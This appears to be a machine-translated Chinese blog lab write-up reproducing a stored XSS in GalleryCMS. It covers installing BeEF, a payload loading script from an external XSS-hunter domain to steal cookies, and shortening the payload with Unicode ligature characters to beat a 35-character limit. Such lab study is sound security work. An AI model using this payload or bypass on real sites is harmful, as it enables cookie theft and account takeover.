当前位置:网站首页>Duplicate gallerycms character length limit short domain name bypass
Duplicate gallerycms character length limit short domain name bypass
2022-07-26 18:29:00 【Orange oak】
First, before starting to write the experiment , stay kali Go online and install beef-xss.
1. Enter... On the command line apt install beef-xss.
2. But he may make a mistake like this , So I tried to update , That is, input the command apt-get updateapt-get upgrade
However , I'm still wrong when typing , His display result is like this .
3. I just Baidu the last one “Unmet dependencies. Try ‘apt --fix-broken install’ with no packages (or specify a solution)” Solutions for , Just install fix-broken.apt --fix-broken install
But the article I'm looking for is still being updated , That is the first. 2 A content , Then I did it , Then I waited for him to download , Wait for him to download , Waiting for a long time , Then I also forgot whether I had to pause it or wait until it was over , Then I think it's possible to finish , There is no need to update that . Then I hit the installation command again ,
4. After successful installation , Just run it directly beef-xss
In the middle of running, he will let you change your password , Just set it at will , He won't show .
And then it's over
5. Use browser access , Enter in the input box 192.168.121.135:3000/ui/panel That's all right. , Then you will be asked to enter your account number and password , If the configuration file is not modified , The default account number is beef, Then the password is the password you set the first time you run .
Set it up galleryCMS Server for .
1. First unzip the unzipped package to phpstudy_pro/WWW Below directory , Then find the file application/config/database.php file ,
Then modify the user name and password of the database in the file to make sure that the user name and password on your local machine are the same .
2. Start the small skin , Open the server and database , Then add a new website , And decompress just now GalleryCMS Put the path under the root directory , Then set the domain name to the file name . After these operations are done , restart Apache Service and MySQL.
3. Because I use kali Documents opened by the browser in , So first check in the local service IP Address ,
open CMD, Use ipconfig Order to see IP, Got IP It's just kali Enter in the browser , You can enter the page , But there are errors on this page .( Because a meal is solved , Forget the screenshot , So there is no problem with the picture )
4. According to the displayed error, it can be seen that it is the error of the server , So open MySQL, Create database gallaycms, Use table . Then go back to the browser , You can see that he has registered successfully , But there are still mistakes after entering , So there are still problems with this database . That is, the length of the inserted character segment is not enough , So we need to modify the character length .
Insert a command into the database :alter table user modify last_ip varchar(100) not null default '127.0.0.1';
Then there is an order in the error report (insert At the beginning , I didn't remember the details ), Copy and paste this command into MySQL In the order of , Then re-enter kali Browser , Re enter , We can enter .
Start reproducing the experiment
First, when creating a new album name , Let's export at will ,
F12 See here, he passed the value he just entered to a Inside the label 
So take a look at the source document , It can be seen that it is direct output URL The address of , And I saw that after adding the album, I went add Method , And filter the spaces at both ends , It also defaults that you must fill in , And the default length is 45. And used xss-clean
xss-clean: Filter some symbols into some entities , And filter some keywords ,
Because when it comes to filtering a lot of tags , So first we will xss-clean Delete , Then create a name and fill it out :< script > label .
When returning to the directory page, he will pop up , It is because it has been stored when it was created , So every time you enter , He is visiting .
Here we can use js Code .
So we want to get each other's cookie, Let's try to use >$.getScript(“//trlsm.xss.ht”),
But we can see from the picture that we use the shortest way to bypass , He is also too long bytes , So we just need to change the length of this ,
In the source code, the longest character length we specify is :35
although xss-clean Filter a lot of tags , But he hasn't filtered it out < svg > label , So we use < svg> Label a test .

That is, you can find one svg The label of , To bypass .
But these necessary commands already exist 29 A character. , So we can only shorten the domain name .
But short domain name is the way to achieve , So here is a knowledge point :
Use short characters to bypass character restrictions : Such words, for example tel Normally 3 Bytes , But after writing like this ℡, He will use it as a byte . So this saves us as much character length as possible .
- ff expands to
ff
- ℠ expands to
sm - ㏛ expands to
sr - st expands to
st - ㎭ expands to
rad - ℡ expands to
tel
Then I tried to use the teacher's domain name , But because there are no documents , You can't modify the Internet ip For the native , Then do I have my own domain name , So I can only try to relax the character length limit ip To test . Can see beef There is .

边栏推荐
- Is it safe for me to open the securities account of CITIC and find the channel manager?
- Leetcode 50 day question brushing plan (day 3 - concatenate substrings of all words 10.00-13.20)
- Maximum sum of continuous subarray of sword finger offer (2)
- ssm练习第三天_分页助手_安全框架
- Visual VM 定位OOM,FullGC使用方法
- [a little knowledge] thread pool
- 8.2 some algebraic knowledge (groups, cyclic groups and subgroups)
- LeetCode_1005_K次取反后最大化的数组和
- Linked list - the penultimate K nodes
- IrrKlang音频库的下载和配置
猜你喜欢

【Unity3D】摇杆

ssm练习第三天_分页助手_安全框架

立即报名 | 云原生技术交流 Meetup 广州站已开启,8 月 6 号与你相遇!

Distributed link tracking Jaeger's use in golang

链表-两个链表的第一个公共结点

LeetCode50天刷题计划(Day 1—— 两数相加 11.00-12.30)

MySQL 遇到过死锁问题吗,你是如何解决的?

Oracle第二天(视图、索引、plsql、游标、存储过程和存储函数、触发器、jdbc访问存储过程和存储函数)

链表-倒数最后k个结点

Leetcode 50 day question brushing plan (day 1 - add two numbers 11.00-12.30)
随机推荐
Is it safe for me to open the securities account of CITIC and find the channel manager?
drools-基础语法
【Unity3D】摇杆
Hello World
The second set of 2020 American Asian individual match
[unity3d] rocker
Point cloud target detection Kitti dataset bin file visualization, one-stop solution
Linked list - merge two sorted lists
Continue to work hard on your skills, and the more you learn, the more you will learn
J9 number theory: how to avoid the trap of stepping on thunder?
"Wei Lai Cup" 2022 Niuke summer multi school training camp 3 record
The third day of SSM practice_ Paging assistant_ Security framework
455. 分发饼干【双指针 ++i、++j】
LeetCode_ 1005_ Maximized array sum after K negations
Sword finger offer regular expression matching
Linked list - reverse linked list
链表-倒数最后k个结点
Kindergarten system based on SSM
链表-两个链表的第一个公共结点
If the recommendation effect is not satisfactory, it's better to try to learn the propeller chart